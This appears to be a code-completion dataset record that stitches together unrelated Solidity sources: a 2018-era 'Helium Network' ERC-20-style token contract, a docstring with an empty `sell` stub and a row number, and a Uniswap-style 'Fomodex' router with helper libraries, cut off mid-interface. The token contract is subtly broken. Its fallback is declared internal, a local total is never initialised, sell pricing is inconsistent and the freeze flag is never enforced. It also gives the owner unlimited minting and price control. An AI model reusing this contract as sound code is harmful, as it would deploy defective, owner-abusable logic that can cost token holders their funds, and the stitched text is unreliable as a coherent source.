/*-------------------------------------------------------------------------*/
contract owned {
address public owner;
function owned() {
owner = msg.sender;
}
modifier onlyOwner {
if (msg.sender != owner) throw;
_;
}
function transferOwnership(address newOwner) onlyOwner {
if (newOwner == 0x0) throw;
owner = newOwner;
}
}
/*-------------------------------------------------------------------------*/
/**
* Overflow aware uint math functions.
*/
contract SafeMath {
//internals
function safeMul(uint a, uint b) internal returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function safeSub(uint a, uint b) internal returns (uint) {
assert(b <= a);
return a - b;
}
function safeAdd(uint a, uint b) internal returns (uint) {
uint c = a + b;
assert(c>=a && c>=b);
return c;
}
function assert(bool assertion) internal {
if (!assertion) throw;
}
}
/*-------------------------------------------------------------------------*/
contract HeliumNetwork is owned, SafeMath {
address public HeliumNetworkAddress = this;
address public creator = msg.sender;
string public name = "Helium Network";
string public symbol = "HN";
uint8 public decimals = 18;
uint256 public totalSupply = 999999999000000000000000000;
uint256 public buyPrice = 8888888;
uint256 public sellPrice = 8888888;
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
mapping (address => bool) public frozenAccount;
event Transfer(address indexed from, address indexed to, uint256 value);
event FundTransfer(address backer, uint amount, bool isContribution);
// This notifies clients about the amount burnt
event Burn(address indexed from, uint256 value);
event FrozenFunds(address target, bool frozen);
/**
* Constrctor function
*
* Initializes contract with initial supply tokens to the creator of the contract
*/
function HeliumNetwork() public {
balanceOf[msg.sender] = totalSupply;
creator = msg.sender;
}
/**
* Internal transfer, only can be called by this contract
*/
function _transfer(address _from, address _to, uint _value) internal {
// Prevent transfer to 0x0 address. Use burn() instead
require(_to != 0x0);
// Check if the sender has enough
require(balanceOf[_from] >= _value);
// Check for overflows
require(balanceOf[_to] + _value >= balanceOf[_to]);
// Subtract from the sender
balanceOf[_from] -= _value;
// Add the same to the recipient
balanceOf[_to] += _value;
Transfer(_from, _to, _value);
}
/**
* Transfer tokens
*
* Send `_value` tokens to `_to` from your account
*
* @param _to The address of the recipient
* @param _value the amount to send
*/
function transfer(address _to, uint256 _value) public {
_transfer(msg.sender, _to, _value);
}
/// @notice Buy tokens from contract by sending ether
function () payable internal {
uint amount = msg.value * buyPrice ;
uint amountRaised;
uint bonus = 0;
bonus = getBonus(amount);
amount = amount + bonus;
//amount = now ;
require(balanceOf[creator] >= amount);
require(msg.value > 0);
amountRaised = safeAdd(amountRaised, msg.value);
balanceOf[msg.sender] = safeAdd(balanceOf[msg.sender], amount);
balanceOf[creator] = safeSub(balanceOf[creator], amount);
Transfer(creator, msg.sender, amount);
creator.transfer(amountRaised);
}
/// @notice Create `mintedAmount` tokens and send it to `target`
/// @param target Address to receive the tokens
/// @param mintedAmount the amount of tokens it will receive
function mintToken(address target, uint256 mintedAmount) onlyOwner public {
balanceOf[target] += mintedAmount;
totalSupply += mintedAmount;
Transfer(0, this, mintedAmount);
Transfer(this, target, mintedAmount);
}
/**
* Set allowance for other address
*
* Allows `_spender` to spend no more than `_value` tokens in your behalf
*
* @param _spender The address authorized to spend
* @param _value the max amount they can spend
*/
function approve(address _spender, uint256 _value) public
returns (bool success) {
allowance[msg.sender][_spender] = _value;
return true;
}
/**
* Set allowance for other address and notify
*
* Allows `_spender` to spend no more than `_value` tokens in your behalf, and then ping the contract about it
*
* @param _spender The address authorized to spend
* @param _value the max amount they can spend
* @param _extraData some extra information to send to the approved contract
*/
function approveAndCall(address _spender, uint256 _value, bytes _extraData)
public
returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
/// @notice `freeze? Prevent | Allow` `target` from sending & receiving tokens
/// @param target Address to be frozen
/// @param freeze either to freeze it or not
function freezeAccount(address target, bool freeze) onlyOwner public {
frozenAccount[target] = freeze;
FrozenFunds(target, freeze);
}
/// @notice Allow users to buy tokens for `newBuyPrice` eth and sell tokens for `newSellPrice` eth
/// @param newSellPrice Price the users can sell to the contract
/// @param newBuyPrice Price users can buy from the contract
function setPrices(uint256 newSellPrice, uint256 newBuyPrice) onlyOwner public {
sellPrice = newSellPrice;
buyPrice = newBuyPrice;
}
/**
* Destroy tokens
*
* Remove `_value` tokens from the system irreversibly
*
* @param _value the amount of money to burn
*/
function burn(uint256 _value) public returns (bool success) {
require(balanceOf[msg.sender] >= _value); // Check if the sender has enough
balanceOf[msg.sender] -= _value; // Subtract from the sender
totalSupply -= _value; // Updates totalSupply
Burn(msg.sender, _value);
return true;
}
/**
* Destroy tokens from other account
*
* Remove `_value` tokens from the system irreversibly on behalf of `_from`.
*
* @param _from the address of the sender
* @param _value the amount of money to burn
*/
function burnFrom(address _from, uint256 _value) public returns (bool success) {
require(balanceOf[_from] >= _value); // Check if the targeted balance is enough
require(_value <= allowance[_from][msg.sender]); // Check allowance
balanceOf[_from] -= _value; // Subtract from the targeted balance
allowance[_from][msg.sender] -= _value; // Subtract from the sender's allowance
totalSupply -= _value; // Update totalSupply
Burn(_from, _value);
return true;
}
function getBonus(uint _amount) constant private returns (uint256) {
if(now >= 1524873600 && now <= 1527551999) {
return _amount * 50 / 100;
}
if(now >= 1527552000 && now <= 1530316799) {
return _amount * 40 / 100;
}
if(now >= 1530316800 && now <= 1532995199) {
return _amount * 30 / 100;
}
if(now >= 1532995200 && now <= 1535759999) {
return _amount * 20 / 100;
}
if(now >= 1535760000 && now <= 1538438399) {
return _amount * 10 / 100;
}
return 0;
}
/// @notice Sell `amount` tokens to contract
/// @param amount amount of tokens to be sold
function sell(uint256 amount) public {
require(this.balance >= amount * sellPrice); // checks if the contract has enough ether to buy
_transfer(msg.sender, this, amount); // makes the transfers
msg.sender.transfer(amount * sellPrice); // sends ether to the seller. It's important to do this last to avoid recursion attacks
}
}
/*-------------------------------------------------------------------------*/
|
Sell `amount` tokens to contract amount amount of tokens to be sold
|
function sell(uint256 amount) public {
}
| 549,367
|
pragma solidity =0.6.6;
import './interfaces/IFomodexFactory.sol';
import '@uniswap/lib/contracts/libraries/TransferHelper.sol';
import './interfaces/IFomodexRouter02.sol';
import './libraries/FomodexLibrary.sol';
import './libraries/SafeMath.sol';
import './interfaces/IERC20.sol';
import './interfaces/IWETH.sol';
contract FomodexRouter is IFomodexRouter02 {
using SafeMath for uint;
address public immutable override factory;
address public immutable override WETH;
modifier ensure(uint deadline) {
require(deadline >= block.timestamp, 'FomodexRouter: EXPIRED');
_;
}
constructor(address _factory, address _WETH) public {
factory = _factory;
WETH = _WETH;
}
receive() external payable {
assert(msg.sender == WETH); // only accept ETH via fallback from the WETH contract
}
// **** ADD LIQUIDITY ****
function _addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin
) internal virtual returns (uint amountA, uint amountB) {
// create the pair if it doesn't exist yet
if (IFomodexFactory(factory).getPair(tokenA, tokenB) == address(0)) {
IFomodexFactory(factory).createPair(tokenA, tokenB);
}
(uint reserveA, uint reserveB) = FomodexLibrary.getReserves(factory, tokenA, tokenB);
if (reserveA == 0 && reserveB == 0) {
(amountA, amountB) = (amountADesired, amountBDesired);
} else {
uint amountBOptimal = FomodexLibrary.quote(amountADesired, reserveA, reserveB);
if (amountBOptimal <= amountBDesired) {
require(amountBOptimal >= amountBMin, 'FomodexRouter: INSUFFICIENT_B_AMOUNT');
(amountA, amountB) = (amountADesired, amountBOptimal);
} else {
uint amountAOptimal = FomodexLibrary.quote(amountBDesired, reserveB, reserveA);
assert(amountAOptimal <= amountADesired);
require(amountAOptimal >= amountAMin, 'FomodexRouter: INSUFFICIENT_A_AMOUNT');
(amountA, amountB) = (amountAOptimal, amountBDesired);
}
}
}
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external virtual override ensure(deadline) returns (uint amountA, uint amountB, uint liquidity) {
(amountA, amountB) = _addLiquidity(tokenA, tokenB, amountADesired, amountBDesired, amountAMin, amountBMin);
address pair = FomodexLibrary.pairFor(factory, tokenA, tokenB);
TransferHelper.safeTransferFrom(tokenA, msg.sender, pair, amountA);
TransferHelper.safeTransferFrom(tokenB, msg.sender, pair, amountB);
liquidity = IFomodexPair(pair).mint(to);
}
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external virtual override payable ensure(deadline) returns (uint amountToken, uint amountETH, uint liquidity) {
(amountToken, amountETH) = _addLiquidity(
token,
WETH,
amountTokenDesired,
msg.value,
amountTokenMin,
amountETHMin
);
address pair = FomodexLibrary.pairFor(factory, token, WETH);
TransferHelper.safeTransferFrom(token, msg.sender, pair, amountToken);
IWETH(WETH).deposit{value: amountETH}();
assert(IWETH(WETH).transfer(pair, amountETH));
liquidity = IFomodexPair(pair).mint(to);
// refund dust eth, if any
if (msg.value > amountETH) TransferHelper.safeTransferETH(msg.sender, msg.value - amountETH);
}
// **** REMOVE LIQUIDITY ****
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) public virtual override ensure(deadline) returns (uint amountA, uint amountB) {
address pair = FomodexLibrary.pairFor(factory, tokenA, tokenB);
IFomodexPair(pair).transferFrom(msg.sender, pair, liquidity); // send liquidity to pair
(uint amount0, uint amount1) = IFomodexPair(pair).burn(to);
(address token0,) = FomodexLibrary.sortTokens(tokenA, tokenB);
(amountA, amountB) = tokenA == token0 ? (amount0, amount1) : (amount1, amount0);
require(amountA >= amountAMin, 'FomodexRouter: INSUFFICIENT_A_AMOUNT');
require(amountB >= amountBMin, 'FomodexRouter: INSUFFICIENT_B_AMOUNT');
}
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) public virtual override ensure(deadline) returns (uint amountToken, uint amountETH) {
(amountToken, amountETH) = removeLiquidity(
token,
WETH,
liquidity,
amountTokenMin,
amountETHMin,
address(this),
deadline
);
TransferHelper.safeTransfer(token, to, amountToken);
IWETH(WETH).withdraw(amountETH);
TransferHelper.safeTransferETH(to, amountETH);
}
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external virtual override returns (uint amountA, uint amountB) {
address pair = FomodexLibrary.pairFor(factory, tokenA, tokenB);
uint value = approveMax ? uint(-1) : liquidity;
IFomodexPair(pair).permit(msg.sender, address(this), value, deadline, v, r, s);
(amountA, amountB) = removeLiquidity(tokenA, tokenB, liquidity, amountAMin, amountBMin, to, deadline);
}
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external virtual override returns (uint amountToken, uint amountETH) {
address pair = FomodexLibrary.pairFor(factory, token, WETH);
uint value = approveMax ? uint(-1) : liquidity;
IFomodexPair(pair).permit(msg.sender, address(this), value, deadline, v, r, s);
(amountToken, amountETH) = removeLiquidityETH(token, liquidity, amountTokenMin, amountETHMin, to, deadline);
}
// **** REMOVE LIQUIDITY (supporting fee-on-transfer tokens) ****
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) public virtual override ensure(deadline) returns (uint amountETH) {
(, amountETH) = removeLiquidity(
token,
WETH,
liquidity,
amountTokenMin,
amountETHMin,
address(this),
deadline
);
TransferHelper.safeTransfer(token, to, IERC20(token).balanceOf(address(this)));
IWETH(WETH).withdraw(amountETH);
TransferHelper.safeTransferETH(to, amountETH);
}
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external virtual override returns (uint amountETH) {
address pair = FomodexLibrary.pairFor(factory, token, WETH);
uint value = approveMax ? uint(-1) : liquidity;
IFomodexPair(pair).permit(msg.sender, address(this), value, deadline, v, r, s);
amountETH = removeLiquidityETHSupportingFeeOnTransferTokens(
token, liquidity, amountTokenMin, amountETHMin, to, deadline
);
}
// **** SWAP ****
// requires the initial amount to have already been sent to the first pair
function _swap(uint[] memory amounts, address[] memory path, address _to) internal virtual {
for (uint i; i < path.length - 1; i++) {
(address input, address output) = (path[i], path[i + 1]);
(address token0,) = FomodexLibrary.sortTokens(input, output);
uint amountOut = amounts[i + 1];
(uint amount0Out, uint amount1Out) = input == token0 ? (uint(0), amountOut) : (amountOut, uint(0));
address to = i < path.length - 2 ? FomodexLibrary.pairFor(factory, output, path[i + 2]) : _to;
IFomodexPair(FomodexLibrary.pairFor(factory, input, output)).swap(
amount0Out, amount1Out, to, new bytes(0)
);
}
}
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external virtual override ensure(deadline) returns (uint[] memory amounts) {
amounts = FomodexLibrary.getAmountsOut(factory, amountIn, path);
require(amounts[amounts.length - 1] >= amountOutMin, 'FomodexRouter: INSUFFICIENT_OUTPUT_AMOUNT');
TransferHelper.safeTransferFrom(
path[0], msg.sender, FomodexLibrary.pairFor(factory, path[0], path[1]), amounts[0]
);
_swap(amounts, path, to);
}
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external virtual override ensure(deadline) returns (uint[] memory amounts) {
amounts = FomodexLibrary.getAmountsIn(factory, amountOut, path);
require(amounts[0] <= amountInMax, 'FomodexRouter: EXCESSIVE_INPUT_AMOUNT');
TransferHelper.safeTransferFrom(
path[0], msg.sender, FomodexLibrary.pairFor(factory, path[0], path[1]), amounts[0]
);
_swap(amounts, path, to);
}
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
virtual
override
payable
ensure(deadline)
returns (uint[] memory amounts)
{
require(path[0] == WETH, 'FomodexRouter: INVALID_PATH');
amounts = FomodexLibrary.getAmountsOut(factory, msg.value, path);
require(amounts[amounts.length - 1] >= amountOutMin, 'FomodexRouter: INSUFFICIENT_OUTPUT_AMOUNT');
IWETH(WETH).deposit{value: amounts[0]}();
assert(IWETH(WETH).transfer(FomodexLibrary.pairFor(factory, path[0], path[1]), amounts[0]));
_swap(amounts, path, to);
}
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
virtual
override
ensure(deadline)
returns (uint[] memory amounts)
{
require(path[path.length - 1] == WETH, 'FomodexRouter: INVALID_PATH');
amounts = FomodexLibrary.getAmountsIn(factory, amountOut, path);
require(amounts[0] <= amountInMax, 'FomodexRouter: EXCESSIVE_INPUT_AMOUNT');
TransferHelper.safeTransferFrom(
path[0], msg.sender, FomodexLibrary.pairFor(factory, path[0], path[1]), amounts[0]
);
_swap(amounts, path, address(this));
IWETH(WETH).withdraw(amounts[amounts.length - 1]);
TransferHelper.safeTransferETH(to, amounts[amounts.length - 1]);
}
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
virtual
override
ensure(deadline)
returns (uint[] memory amounts)
{
require(path[path.length - 1] == WETH, 'FomodexRouter: INVALID_PATH');
amounts = FomodexLibrary.getAmountsOut(factory, amountIn, path);
require(amounts[amounts.length - 1] >= amountOutMin, 'FomodexRouter: INSUFFICIENT_OUTPUT_AMOUNT');
TransferHelper.safeTransferFrom(
path[0], msg.sender, FomodexLibrary.pairFor(factory, path[0], path[1]), amounts[0]
);
_swap(amounts, path, address(this));
IWETH(WETH).withdraw(amounts[amounts.length - 1]);
TransferHelper.safeTransferETH(to, amounts[amounts.length - 1]);
}
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
virtual
override
payable
ensure(deadline)
returns (uint[] memory amounts)
{
require(path[0] == WETH, 'FomodexRouter: INVALID_PATH');
amounts = FomodexLibrary.getAmountsIn(factory, amountOut, path);
require(amounts[0] <= msg.value, 'FomodexRouter: EXCESSIVE_INPUT_AMOUNT');
IWETH(WETH).deposit{value: amounts[0]}();
assert(IWETH(WETH).transfer(FomodexLibrary.pairFor(factory, path[0], path[1]), amounts[0]));
_swap(amounts, path, to);
// refund dust eth, if any
if (msg.value > amounts[0]) TransferHelper.safeTransferETH(msg.sender, msg.value - amounts[0]);
}
// **** SWAP (supporting fee-on-transfer tokens) ****
// requires the initial amount to have already been sent to the first pair
function _swapSupportingFeeOnTransferTokens(address[] memory path, address _to) internal virtual {
for (uint i; i < path.length - 1; i++) {
(address input, address output) = (path[i], path[i + 1]);
(address token0,) = FomodexLibrary.sortTokens(input, output);
IFomodexPair pair = IFomodexPair(FomodexLibrary.pairFor(factory, input, output));
uint amountInput;
uint amountOutput;
{ // scope to avoid stack too deep errors
(uint reserve0, uint reserve1,) = pair.getReserves();
(uint reserveInput, uint reserveOutput) = input == token0 ? (reserve0, reserve1) : (reserve1, reserve0);
amountInput = IERC20(input).balanceOf(address(pair)).sub(reserveInput);
amountOutput = FomodexLibrary.getAmountOut(amountInput, reserveInput, reserveOutput);
}
(uint amount0Out, uint amount1Out) = input == token0 ? (uint(0), amountOutput) : (amountOutput, uint(0));
address to = i < path.length - 2 ? FomodexLibrary.pairFor(factory, output, path[i + 2]) : _to;
pair.swap(amount0Out, amount1Out, to, new bytes(0));
}
}
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external virtual override ensure(deadline) {
TransferHelper.safeTransferFrom(
path[0], msg.sender, FomodexLibrary.pairFor(factory, path[0], path[1]), amountIn
);
uint balanceBefore = IERC20(path[path.length - 1]).balanceOf(to);
_swapSupportingFeeOnTransferTokens(path, to);
require(
IERC20(path[path.length - 1]).balanceOf(to).sub(balanceBefore) >= amountOutMin,
'FomodexRouter: INSUFFICIENT_OUTPUT_AMOUNT'
);
}
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
)
external
virtual
override
payable
ensure(deadline)
{
require(path[0] == WETH, 'FomodexRouter: INVALID_PATH');
uint amountIn = msg.value;
IWETH(WETH).deposit{value: amountIn}();
assert(IWETH(WETH).transfer(FomodexLibrary.pairFor(factory, path[0], path[1]), amountIn));
uint balanceBefore = IERC20(path[path.length - 1]).balanceOf(to);
_swapSupportingFeeOnTransferTokens(path, to);
require(
IERC20(path[path.length - 1]).balanceOf(to).sub(balanceBefore) >= amountOutMin,
'FomodexRouter: INSUFFICIENT_OUTPUT_AMOUNT'
);
}
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
)
external
virtual
override
ensure(deadline)
{
require(path[path.length - 1] == WETH, 'FomodexRouter: INVALID_PATH');
TransferHelper.safeTransferFrom(
path[0], msg.sender, FomodexLibrary.pairFor(factory, path[0], path[1]), amountIn
);
_swapSupportingFeeOnTransferTokens(path, address(this));
uint amountOut = IERC20(WETH).balanceOf(address(this));
require(amountOut >= amountOutMin, 'FomodexRouter: INSUFFICIENT_OUTPUT_AMOUNT');
IWETH(WETH).withdraw(amountOut);
TransferHelper.safeTransferETH(to, amountOut);
}
// **** LIBRARY FUNCTIONS ****
function quote(uint amountA, uint reserveA, uint reserveB) public pure virtual override returns (uint amountB) {
return FomodexLibrary.quote(amountA, reserveA, reserveB);
}
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut)
public
pure
virtual
override
returns (uint amountOut)
{
return FomodexLibrary.getAmountOut(amountIn, reserveIn, reserveOut);
}
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut)
public
pure
virtual
override
returns (uint amountIn)
{
return FomodexLibrary.getAmountIn(amountOut, reserveIn, reserveOut);
}
function getAmountsOut(uint amountIn, address[] memory path)
public
view
virtual
override
returns (uint[] memory amounts)
{
return FomodexLibrary.getAmountsOut(factory, amountIn, path);
}
function getAmountsIn(uint amountOut, address[] memory path)
public
view
virtual
override
returns (uint[] memory amounts)
{
return FomodexLibrary.getAmountsIn(factory, amountOut, path);
}
}
pragma solidity >=0.5.0;
interface IFomodexFactory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
pragma solidity >=0.6.0;
// helper methods for interacting with ERC20 tokens and sending ETH that do not consistently return true/false
library TransferHelper {
function safeApprove(address token, address to, uint value) internal {
// bytes4(keccak256(bytes('approve(address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x095ea7b3, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: APPROVE_FAILED');
}
function safeTransfer(address token, address to, uint value) internal {
// bytes4(keccak256(bytes('transfer(address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0xa9059cbb, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: TRANSFER_FAILED');
}
function safeTransferFrom(address token, address from, address to, uint value) internal {
// bytes4(keccak256(bytes('transferFrom(address,address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x23b872dd, from, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: TRANSFER_FROM_FAILED');
}
function safeTransferETH(address to, uint value) internal {
(bool success,) = to.call{value:value}(new bytes(0));
require(success, 'TransferHelper: ETH_TRANSFER_FAILED');
}
}
pragma solidity >=0.6.2;
import './IFomodexRouter01.sol';
interface IFomodexRouter02 is IFomodexRouter01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
pragma solidity >=0.5.0;
import '../interfaces/IFomodexPair.sol';
import "./SafeMath.sol";
library FomodexLibrary {
using SafeMath for uint;
// returns sorted token addresses, used to handle return values from pairs sorted in this order
function sortTokens(address tokenA, address tokenB) internal pure returns (address token0, address token1) {
require(tokenA != tokenB, 'FomodexLibrary: IDENTICAL_ADDRESSES');
(token0, token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
require(token0 != address(0), 'FomodexLibrary: ZERO_ADDRESS');
}
// calculates the CREATE2 address for a pair without making any external calls
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = sortTokens(tokenA, tokenB);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'6b17f6c33349c7eaef1f6fbb2631b4d415285a9854dc23586b60ef019667b93f' // init code hash
))));
}
// fetches and sorts the reserves for a pair
function getReserves(address factory, address tokenA, address tokenB) internal view returns (uint reserveA, uint reserveB) {
(address token0,) = sortTokens(tokenA, tokenB);
pairFor(factory, tokenA, tokenB);
(uint reserve0, uint reserve1,) = IFomodexPair(pairFor(factory, tokenA, tokenB)).getReserves();
(reserveA, reserveB) = tokenA == token0 ? (reserve0, reserve1) : (reserve1, reserve0);
}
// given some amount of an asset and pair reserves, returns an equivalent amount of the other asset
function quote(uint amountA, uint reserveA, uint reserveB) internal pure returns (uint amountB) {
require(amountA > 0, 'FomodexLibrary: INSUFFICIENT_AMOUNT');
require(reserveA > 0 && reserveB > 0, 'FomodexLibrary: INSUFFICIENT_LIQUIDITY');
amountB = amountA.mul(reserveB) / reserveA;
}
// given an input amount of an asset and pair reserves, returns the maximum output amount of the other asset
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) internal pure returns (uint amountOut) {
require(amountIn > 0, 'FomodexLibrary: INSUFFICIENT_INPUT_AMOUNT');
require(reserveIn > 0 && reserveOut > 0, 'FomodexLibrary: INSUFFICIENT_LIQUIDITY');
uint amountInWithFee = amountIn.mul(998);
uint numerator = amountInWithFee.mul(reserveOut);
uint denominator = reserveIn.mul(1000).add(amountInWithFee);
amountOut = numerator / denominator;
}
// given an output amount of an asset and pair reserves, returns a required input amount of the other asset
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) internal pure returns (uint amountIn) {
require(amountOut > 0, 'FomodexLibrary: INSUFFICIENT_OUTPUT_AMOUNT');
require(reserveIn > 0 && reserveOut > 0, 'FomodexLibrary: INSUFFICIENT_LIQUIDITY');
uint numerator = reserveIn.mul(amountOut).mul(1000);
uint denominator = reserveOut.sub(amountOut).mul(998);
amountIn = (numerator / denominator).add(1);
}
// performs chained getAmountOut calculations on any number of pairs
function getAmountsOut(address factory, uint amountIn, address[] memory path) internal view returns (uint[] memory amounts) {
require(path.length >= 2, 'FomodexLibrary: INVALID_PATH');
amounts = new uint[](path.length);
amounts[0] = amountIn;
for (uint i; i < path.length - 1; i++) {
(uint reserveIn, uint reserveOut) = getReserves(factory, path[i], path[i + 1]);
amounts[i + 1] = getAmountOut(amounts[i], reserveIn, reserveOut);
}
}
// performs chained getAmountIn calculations on any number of pairs
function getAmountsIn(address factory, uint amountOut, address[] memory path) internal view returns (uint[] memory amounts) {
require(path.length >= 2, 'FomodexLibrary: INVALID_PATH');
amounts = new uint[](path.length);
amounts[amounts.length - 1] = amountOut;
for (uint i = path.length - 1; i > 0; i--) {
(uint reserveIn, uint reserveOut) = getReserves(factory, path[i - 1], path[i]);
amounts[i - 1] = getAmountIn(amounts[i], reserveIn, reserveOut);
}
}
}
pragma solidity =0.6.6;
// a library for performing overflow-safe math, courtesy of DappHub (https://github.com/dapphub/ds-math)
library SafeMath {
function add(uint x, uint y) internal pure returns (uint z) {
require((z = x + y) >= x, 'ds-math-add-overflow');
}
function sub(uint x, uint y) internal pure returns (uint z) {
require((z = x - y) <= x, 'ds-math-sub-underflow');
}
function mul(uint x, uint y) internal pure returns (uint z) {
require(y == 0 || (z = x * y) / y == x, 'ds-math-mul-overflow');
}
}
pragma solidity >=0.5.0;
interface IERC20 {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
}
pragma solidity >=0.5.0;
interface IWETH {
function deposit() external payable;
function transfer(address to, uint value) external returns (bool);
function withdraw(uint) external;
}
pragma solidity >=0.6.2;
interface IFomodexRouter01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
pragma solidity >=0.5.0;
interface IFomodexPair {
event Approval(address indexed owner, address indexed spender, uint value);
